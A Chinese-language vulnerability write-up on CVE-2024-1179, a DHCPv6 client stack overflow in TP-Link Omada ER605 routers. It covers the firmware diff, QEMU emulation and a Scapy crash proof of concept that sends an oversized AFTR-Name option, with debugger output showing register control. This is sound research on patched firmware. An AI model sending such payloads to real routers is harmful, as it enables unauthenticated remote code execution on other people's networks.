Pwn2Own TORONTO 2023 (CVE-2024-1179) & TP-Link Omada ER605
z1r0 发表于 江苏 IoT安全 1202浏览 · 2024-03-28 07:47

Pwn2Own TORONTO 2023 (CVE-2024-1179) & TP-Link Omada ER605

该漏洞在Pwn2Own中被利用

CVE ID CVE-2024-1179
CVSS SCORE 7.5, AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
AFFECTED VENDORS TP-Link
AFFECTED PRODUCTS Omada ER605
VULNERABILITY DETAILS This vulnerability allows network-adjacent attackers to execute arbitrary code on affected installations of TP-Link Omada ER605 routers. Authentication is not required to exploit this vulnerability.The specific flaw exists within the handling of DHCP options. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a fixed-length stack-based buffer. An attacker can leverage this vulnerability to execute code in the context of root.
ADDITIONAL DETAILS Fixed in firmware: ER605(UN)_V2_2.2.4 Build 20240119

介绍&固件下载

由于对dhcpv6的不熟悉,一开始在做漏洞分析的时候有个问题困扰了我,有dhcp6s这个服务端的存在,为什么漏洞点在client端,而且client端会挂载到546这个端口上,在经过学习了解后知道了client会接收server发送的确认报文

所以漏洞点都能猜到是在处理接收报文时发生的

修复固件:https://static.tp-link.com/upload/firmware/2024/202401/20240124/ER605(UN)_v2_2.2.4%20Build%2020240119.zip

漏洞固件:https://static.tp-link.com/upload/firmware/2023/202312/20231221/ER605(UN)_v2_2.2.3%20Build%2020231201.zip

漏洞分析

将Fix版本和漏洞版本进行diff,根据漏洞描述,可以很快速的确认漏洞点在dhcpv6-client中,将dhcpv6c进行具体的diff,发现了一个函数内memest附近有被fix的情况,基本确定此文件为漏洞文件

这是一个发生在dhcpv6 client中的漏洞,而这个binary在网上有一部分公开的源码,下载链接,借助这个源码来辅助分析大大减低了逆向工作量

0x405F08这个函数中发现了关键fix

fix版本对case64这里的memcpy条件进行了限制

这是漏洞版本

case 64:
        if ( optlen )
        {
          v65 = (a3 + 232);
          if ( a3 != -232 )
          {
            if ( cp )
            {
              tlen = tlen[4];
              v64 = 1;
              opt = 0;
              while ( tlen )
              {
                if ( optlen < tlen )
                  break;
                memcpy(&v65[opt], cp + v64, tlen);
                v15 = &tlen[v64];
                if ( &tlen[v64] >= optlen )
                  break;
                v16 = &tlen[opt];
                v64 = (v15 + 1);
                tlen = v15[cp];
                opt = (v16 + 1);
                v16[v65] = 46;
              }
            }
          }
        }

这是fix版本

case 64:
        if ( !v62 )
          goto LABEL_110;
        v66 = (const char *)(a3 + 232);
        if ( a3 == -232 || !cp )
          goto LABEL_110;
        size = (unsigned __int8 *)(char)size[4];
        v65 = 1;
        opt = 0;
        while ( 1 )
        {
          if ( !size )
            goto LABEL_110;
          if ( (int)size < 0 || v62 < (int)size || (int)size >= 64 - opt )
            break;
          memcpy(&v66[opt], cp + v65, size);
          v16 = (const char *)&size[v65];
          if ( (int)&size[v65] >= v62 )
            goto LABEL_110;
          v17 = &size[opt];
          v65 = (int)(v16 + 1);
          size = (unsigned __int8 *)v16[cp];
          opt = (int)(v17 + 1);
          v17[(_DWORD)v66] = 46;
        }
        sub_4043BC(6, "getAftrName", "tlen is more than DHCP6_AFTRNAME_SIZE");
        goto LABEL_110;

固件模拟

接下来需要编写Poc来触发此漏洞,这里的dhcpv6需要一些配置文件,所以采取qemu-system来模拟,搭建一个给qemu-system用的网络

sudo ifconfig ens32 down
sudo brctl addbr br0
sudo brctl addif br0 ens32
sudo ifconfig br0 0.0.0.0 promisc up
sudo ifconfig ens32 0.0.0.0 promisc up
sudo dhclient br0
sudo tunctl -t tap0
sudo brctl addif br0 tap0
sudo ifconfig tap0 0.0.0.0 promisc up
sudo qemu-system-mips \
    -M malta -kernel vmlinux-3.2.0-4-4kc-malta \
    -hda debian_wheezy_mips_standard.qcow2 \
    -append "root=/dev/sda1" \
    -net nic,macaddr=00:16:3e:00:00:01 \
    -net tap,ifname=tap0,script=no,downscript=no \
    -nographic
bash run.sh
root@debian-mips:~# ifconfig eth0 192.168.10.200/24 up
mount -t proc /proc ./squashfs-root/proc
mount -o bind /dev ./squashfs-root/dev
chroot ./squashfs-root/ sh

发现并没有/etc/init.d/rcS,需要手动启动dhcp6c,/etc/init.d/dhcp6c这个也启动不了,改了一些东西总是失败

在启动前需要patch一个地方,将<0改成>=0,ida patch会失败,@cdm258帮我用010修改了,0A 61 00 1A B8 65 00 65 00 1A 70 64 80 9A E2 67

patch前

if ( setsockopt(sock, 0xFFFF, 512, &v41, 4) < 0 )
              {
                v16 = _errno_location();
                v17 = strerror(*v16);
                v18 = "setsockopt(SO_REUSEPORT): %s";
                goto LABEL_66;
              }

patch后

if ( setsockopt(sock, 0xFFFF, 512, &v41, 4) >= 0 )
              {
                v16 = _errno_location();
                v17 = strerror(*v16);
                v18 = "setsockopt(SO_REUSEPORT): %s";
                goto LABEL_66;
              }

接着用以下命令就可以启动dhcp6c了,dhcp6c正常挂载到了546端口上,这个dhcp6c.conf是手动创建的,里面空的(我后面觉得完全可以直接qemu-user来启动,因为不熟悉dhcpv6,走了很多弯路

/ # /usr/sbin/dhcp6c -c /tmp/dhcp6c/dhcp6c.conf -Df eth0
/ # netstat -unap
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
udp        0      0 0.0.0.0:54249           0.0.0.0:*                           1525/rpc.statd
udp        0      0 0.0.0.0:821             0.0.0.0:*                           1494/rpcbind
udp        0      0 0.0.0.0:68              0.0.0.0:*                           2237/dhclient
udp        0      0 127.0.0.1:853           0.0.0.0:*                           1525/rpc.statd
udp        0      0 0.0.0.0:111             0.0.0.0:*                           1494/rpcbind
udp        0      0 0.0.0.0:52945           0.0.0.0:*                           2237/dhclient
udp        0      0 :::546                  :::*                                2380/dhcp6c
udp        0      0 :::46377                :::*                                1525/rpc.statd
udp        0      0 :::821                  :::*                                1494/rpcbind
udp        0      0 :::61764                :::*                                2237/dhclient
udp        0      0 :::111                  :::*                                1494/rpcbind

Poc

这是第一份远程有响应的Poc,这里有@starrysky的帮助

import socket
from pwn import *
import binascii
from threading import Thread
from scapy.all import *
from scapy.layers.inet6 import IPv6, UDP
from scapy.layers.dhcp6 import DHCP6_Reply, DHCP6OptServerId, DHCP6OptClientId

context(os='linux', arch='mips', log_level='debug')

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')
lg = lambda x : print('\033[32m' + str(x) + '\033[0m')

ip = '192.168.10.200'
port = 546

def send_dhcp6_reply_and_listen(interface, src_ipv6, dst_ipv6, src_mac, dst_mac, transaction_id):
    # 构造以太网层
    ether_layer = Ether(src=src_mac, dst=dst_mac)

    # 构造IPv6层
    ipv6_layer = IPv6(src=src_ipv6, dst=dst_ipv6)

    # 构造UDP层
    udp_layer = UDP(sport=547, dport=546)  # 注意端口号,服务器端是547,客户端是546

    # 构造DHCPv6 REPLY消息
    dhcp6_reply = DHCP6_Reply(trid=transaction_id)

    # 构造Server ID选项
    server_id = DHCP6OptServerId(duid=DUID_LLT(hwtype=1, lladdr=src_mac))

    # 构造Client ID选项
    client_id = DHCP6OptClientId(duid=DUID_LLT(hwtype=1, lladdr=dst_mac))

    # 组合所有层
    packet = ether_layer / ipv6_layer / udp_layer / dhcp6_reply / server_id / client_id

    # 发送数据包
    sendp(packet, iface=interface, verbose=False)
    print("DHCPv6 Reply消息已发送,等待响应...")

    # 设置监听过滤器,捕获DHCPv6 Solicit或Request等消息作为响应
    def filter_reply(pkt):
        return DHCP6_Reply in pkt and pkt[DHCP6_Reply].trid == transaction_id

    # 监听网络上的回应,持续5秒
    response = sniff(iface=interface, filter="udp and port 546", prn=lambda x: x.show(),
                     lfilter=filter_reply, timeout=5, count=1)

    # 判断是否收到回应
    if response:
        print("成功接收到DHCPv6回应。")
    else:
        print("未收到DHCPv6回应。")

# 请根据你的具体环境调整以下参数
interface_name = "br0"  # Linux中的网络接口名称
#source_ipv6 = "fe80::8df1:7906:7b33:58d7"  # 源IPv6地址
source_ipv6 = "fe80::21c:42ff:fee0:61cf"  # 源IPv6地址
destination_ipv6 = "fe80::216:3eff:fe00:1"  # 目的IPv6地址(虚拟机内的dhcp6c客户端IPv6地址)
source_mac = "00:0c:29:b2:c1:98"  # 源MAC地址
destination_mac = "00:16:3E:00:00:01"  # 目的MAC地址(虚拟机内的网络接口MAC地址)
#transaction_id = 0x00abcdef  # 事务ID
transaction_id = 0x25d6bd  # 事务ID
getAftrName = "a"

# 发送DHCPv6 ADVERTISE消息
send_dhcp6_reply_and_listen(interface_name, source_ipv6, destination_ipv6, source_mac, destination_mac, transaction_id)

远程响应

Mar/28/2024 02:41:42: client6_recv: receive reply from fe80::21c:42ff:fee0:61cf%eth0 on eth0
Mar/28/2024 02:41:42: dhcp6_get_options: get DHCP option server ID, len 14
Mar/28/2024 02:41:42:   DUID: 00:01:00:01:00:00:00:00:00:0c:29:b2:c1:98
Mar/28/2024 02:41:42: dhcp6_get_options: get DHCP option client ID, len 14
Mar/28/2024 02:41:42:   DUID: 00:01:00:01:00:00:00:00:00:16:3e:00:00:01
Mar/28/2024 02:41:42: client6_recvreply: XID mismatch

这个case 64通过fix版本进行查看的时候可以发现是aftr_name,scapy里好像没有,所以udp重放了一下流量,拿到bytes类型的Poc,同时在qemu里tcpdump抓了一个包,通过流量包分析出了格式

00000000  07 25 d6 bd 00 02 00 0e  00 01 00 01 00 00 00 00   .%...... ........
00000010  00 0c 29 b2 c1 98 00 01  00 0e 00 01 00 01 00 00   ..)..... ........
00000020  00 00 00 16 3e 00 00 01

0x07是Message type、0x25d6bd是Transaction ID、0x0002是option、0x0e是Length、0001000100000000000c29b2c198是DUID

我们需要控制的是option和length以及后面option对应的数据,控制option为64,length为payload的长度,对应的数据存放payload,这个payload格式需要符合after_name的格式

0                   1                   2                   3
      0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
     +-------------------------------+-------------------------------+
     |    OPTION_AFTR_NAME: 64       |          option-len           |
     +-------------------------------+-------------------------------+
     |                                                               |
     |                  tunnel-endpoint-name (FQDN)                  |
     |                                                               |
     +---------------------------------------------------------------+

         OPTION_AFTR_NAME: 64

               option-len: Length of the tunnel-endpoint-name field in
                           octets.

     tunnel-endpoint-name: A fully qualified domain name of the AFTR
                           tunnel endpoint.

                 Figure 1: AFTR-Name DHCPv6 Option Format

   The tunnel-endpoint-name field is formatted as required in DHCPv6
   [RFC3315] Section 8 ("Representation and Use of Domain Names").
   Briefly, the format described is using a single octet noting the
   length of one DNS label (limited to at most 63 octets), followed by
   the label contents.  This repeats until all labels in the FQDN are
   exhausted, including a terminating zero-length label.  Any updates to
   Section 8 of DHCPv6 [RFC3315] also apply to encoding of this field.
   An example format for this option is shown in Figure 2, which conveys
   the FQDN "aftr.example.com.".

      +------+------+------+------+------+------+------+------+------+
      | 0x04 |   a  |   f  |   t  |   r  | 0x07 |   e  |   x  |   a  |
      +------+------+------+------+------+------+------+------+------+
      |   m  |   p  |   l  |   e  | 0x03 |   c  |   o  |   m  | 0x00 |
      +------+------+------+------+------+------+------+------+------+

简单来说就是每一串aftr_name字符串前都需要标明长度,从第二个开始长度会转成.,比如上面的例子中,当格式为\x04aftr\x07example\x03com\x00时,程序解析之后的结果为aftr.example.com,通过这样的格式我写出了以下crash Poc

import socket
from pwn import *
import binascii
from threading import Thread
from scapy.all import *
from scapy.layers.inet6 import IPv6, UDP
from scapy.layers.dhcp6 import DHCP6_Reply, DHCP6OptServerId, DHCP6OptClientId

context(os='linux', arch='mips', log_level='debug')

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')
lg = lambda x : print('\033[32m' + str(x) + '\033[0m')

ip = '192.168.10.200'
port = 546

def send_dhcp6_reply_and_listen(interface, src_ipv6, dst_ipv6, src_mac, dst_mac, transaction_id):
    # 构造以太网层
    ether_layer = Ether(src=src_mac, dst=dst_mac)
    li(ether_layer)

    # 构造IPv6层
    ipv6_layer = IPv6(src=src_ipv6, dst=dst_ipv6)
    li(ipv6_layer)

    # 构造UDP层
    udp_layer = UDP(sport=547, dport=546)  # 注意端口号,服务器端是547,客户端是546
    li(udp_layer)

    # 构造DHCPv6 REPLY消息
    dhcp6_reply = DHCP6_Reply(trid=transaction_id)
    li(dhcp6_reply)

    # 构造Server ID选项
    server_id = DHCP6OptServerId(duid=DUID_LLT(hwtype=1, lladdr=src_mac))
    li(server_id)

    # 构造Client ID选项
    client_id = DHCP6OptClientId(duid=DUID_LLT(hwtype=1, lladdr=dst_mac))
    #li(client_id)

    p1 = b'\x00\x40\x03\x00'
    p2 = (b'\xff' + b'a' * 0xff) * 3
    li(hex(len(p2)))
    p1 += p2

    # 组合所有层
    packet = ether_layer / ipv6_layer / udp_layer / dhcp6_reply / p1
    li(bytes(packet))

    # 发送数据包
    sendp(packet)
    print("DHCPv6 Reply消息已发送,等待响应...")

    # 设置监听过滤器,捕获DHCPv6 Solicit或Request等消息作为响应
    def filter_reply(pkt):
        return DHCP6_Reply in pkt and pkt[DHCP6_Reply].trid == transaction_id

    # 监听网络上的回应,持续5秒
    response = sniff(iface=interface, filter="udp and port 546", prn=lambda x: x.show(),
                     lfilter=filter_reply, timeout=5, count=1)

    # 判断是否收到回应
    if response:
        print("成功接收到DHCPv6回应。")
    else:
        print("未收到DHCPv6回应。")

# 请根据你的具体环境调整以下参数
interface_name = "br0"  # Linux中的网络接口名称
#source_ipv6 = "fe80::f421:a8ff:fe5a:ff0d"  # 源IPv6地址
source_ipv6 = "fe80::21c:42ff:fee0:61cf"  # 源IPv6地址
destination_ipv6 = "fe80::216:3eff:fe00:1"  # 目的IPv6地址(虚拟机内的dhcp6c客户端IPv6地址)
#destination_ipv6 = "fe80::21c:42ff:fee0:61cf"  # 目的IPv6地址(虚拟机内的dhcp6c客户端IPv6地址)
source_mac = "00:0c:29:b2:c1:98"  # 源MAC地址
destination_mac = "00:16:3E:00:00:01"  # 目的MAC地址(虚拟机内的网络接口MAC地址)
#transaction_id = 0x00abcdef  # 事务ID
transaction_id = 0x25d6bd  # 事务ID
getAftrName = "a"

# 发送DHCPv6 ADVERTISE消息
send_dhcp6_reply_and_listen(interface_name, source_ipv6, destination_ipv6, source_mac, destination_mac, transaction_id)

远程crash

Mar/28/2024 06:42:03: client6_recv: receive reply from fe80::21c:42ff:fee0:61cf%eth0 on eth0
Mar/28/2024 06:42:03: dhcp6_get_options: get DHCP option opt_64, len 768
Segmentation fault

gdbserver调试之后发现在memcpy这里产生了崩溃

────────────────────────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]────────────────────────────────────────────────────────────────────────────────
*V0   0x7fbda0e0 ◂— 0x61616161 ('aaaa')
*V1   0x7fbdb004
*A0   0x7fbdab15 ◂— 0x61616161 ('aaaa')
*A1   0x7fbd9c05 ◂— 0x61616161 ('aaaa')
*A2   0xfffffffc
*A3   0x61616161 ('aaaa')
*T0   0x61616161 ('aaaa')
*T1   0xfffff0db
*T2   0x7fbda0e4 ◂— 0x61616161 ('aaaa')
*T3   0x61000000
*T4   0x706f2050 ('P op')
 T5   0x0
 T6   0xe
*T7   0x6e6f6974 ('tion')
*T8   0x42a06c —▸ 0x77f2cefc ◂— move $v0, $a0
*T9   0x77f2cefc ◂— move $v0, $a0
*S0   0x7fbd9c00 ◂— 0x616161ff
*S1   0x7fbd9ff8 ◂— 0x0
 S2   0x5
 S3   0x4018b1 —▸ 0x64f2f0 ◂— 0x0
 S4   0x77f5b000
 S5   0x77f5b000
 S6   0x77f5e518 —▸ 0x77ebb000 ◂— 0x464c457f
 S7   0x77f5fd8c ◂— 1
 S8   0x0
 GP   0x77f652c0
 FP   0x0
*SP   0x7fbd9720 ◂— 0x7
*PC   0x77f2d1b4 ◂— sw $t0, -4($v1)
──────────────────────────────────────────────────────────────────────────────────────────[ DISASM / mips / set emulate on ]──────────────────────────────────────────────────────────────────────────────────────────
 ► 0x77f2d1b4    sw     $t0, -4($v1)
   0x77f2d1b8    sltiu  $t0, $t1, 0x13
   0x77f2d1bc    beqz   $t0, 0x77f2d160

   0x77f2d1c0    addiu  $a0, $a0, 0x10
   0x77f2d1c4    addiu  $a3, $a2, -0x14
   0x77f2d1c8    srl    $a3, $a3, 4
   0x77f2d1cc    addiu  $v1, $a3, 1
   0x77f2d1d0    sll    $v1, $v1, 4
   0x77f2d1d4    addiu  $a2, $a2, -0x11
   0x77f2d1d8    sll    $a3, $a3, 4
   0x77f2d1dc    addu   $a1, $a1, $v1
──────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ sp 0x7fbd9720 ◂— 0x7
01:0004│    0x7fbd9724 —▸ 0x413f34 ◂— 'dhcp6_get_options'
02:0008│    0x7fbd9728 —▸ 0x4137e4 ◂— addi $s4, $v1, 0x6567 /* 'get DHCP option %s, len %d' */
03:000c│    0x7fbd972c —▸ 0x42a758 ◂— 'opt_64'
04:0010│    0x7fbd9730 ◂— 0x300
05:0014│    0x7fbd9734 ◂— '<8>Mar 28 06:46:46 : '
06:0018│    0x7fbd9738 ◂— 'ar 28 06:46:46 : '
07:001c│    0x7fbd973c ◂— '8 06:46:46 : '
────────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────────────────────────────────────────
 ► f 0 0x77f2d1b4
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
     Start        End Perm     Size Offset File
  0x400000   0x41a000 r-xp    1a000      0 /usr/sbin/dhcp6c
  0x42a000   0x42b000 rw-p     1000  1a000 /usr/sbin/dhcp6c
  0x42b000   0x42c000 rwxp     1000      0 [anon_0042b]
  0x647000   0x69c000 rwxp    55000      0 [heap]
0x77d53000 0x77d6c000 r-xp    19000      0 /lib/libeasylogger.so
0x77d6c000 0x77d6d000 rw-p     1000   9000 /lib/libeasylogger.so
0x77d6d000 0x77d72000 rw-p     5000      0 [anon_77d6d]
0x77d72000 0x77d87000 r-xp    15000      0 /lib/libubox.so
0x77d87000 0x77d88000 rw-p     1000   5000 /lib/libubox.so
0x77d88000 0x77e6f000 r-xp    e7000      0 /usr/lib/libiconv.so.2
0x77e6f000 0x77e70000 rw-p     1000  d7000 /usr/lib/libiconv.so.2
0x77e70000 0x77e86000 r-xp    16000      0 /lib/libuci.so
0x77e86000 0x77e87000 rw-p     1000   6000 /lib/libuci.so
0x77e87000 0x77ea9000 r-xp    22000      0 /lib/libgcc_s.so.1
0x77ea9000 0x77eaa000 rw-p     1000  12000 /lib/libgcc_s.so.1
0x77eaa000 0x77eba000 r-xp    10000      0 /usr/lib/liblogger.so
0x77eba000 0x77ebb000 rw-p     1000      0 /usr/lib/liblogger.so
0x77ebb000 0x77f4d000 r-xp    92000      0 /lib/ld-musl-mipsel-sf.so.1
0x77f5c000 0x77f5e000 rw-p     2000  91000 /lib/ld-musl-mipsel-sf.so.1
0x77f5e000 0x77f60000 rwxp     2000      0 [anon_77f5e]
0x7fbba000 0x7fbdb000 rw-p    21000      0 [stack]
0x7fff7000 0x7fff8000 r-xp     1000      0 [vdso]
pwndbg> p/x 0x77f2d1b4-0x77ebb000
$1 = 0x721b4

此时可以看到寄存器已经被劫持,exp这里就不详细展开了,至此Pwn2Own TORONTO 2023 (CVE-2024-1179) & TP-Link Omada ER605漏洞分析完成

Reference

https://www.zerodayinitiative.com/advisories/ZDI-24-085/

https://www.arvik.top/article/51536621.html

https://zhuanlan.zhihu.com/p/653315890

https://community.cisco.com/t5/%E7%BD%91%E7%BB%9C%E6%96%87%E6%A1%A3/%E5%8E%9F%E5%88%9B-dhcpv6-%E8%AF%A6%E6%83%85%E5%8F%8A%E5%85%B6%E6%8A%A5%E6%96%87%E4%BB%8B%E7%BB%8D-%E9%99%84%E9%85%8D%E7%BD%AE%E6%A1%88%E4%BE%8B%E5%8F%8A%E9%AA%8C%E8%AF%81%E5%91%BD%E4%BB%A4/ta-p/4372251

https://datatracker.ietf.org/doc/html/rfc6334

0 条评论
某人
表情
可输入 255

没有评论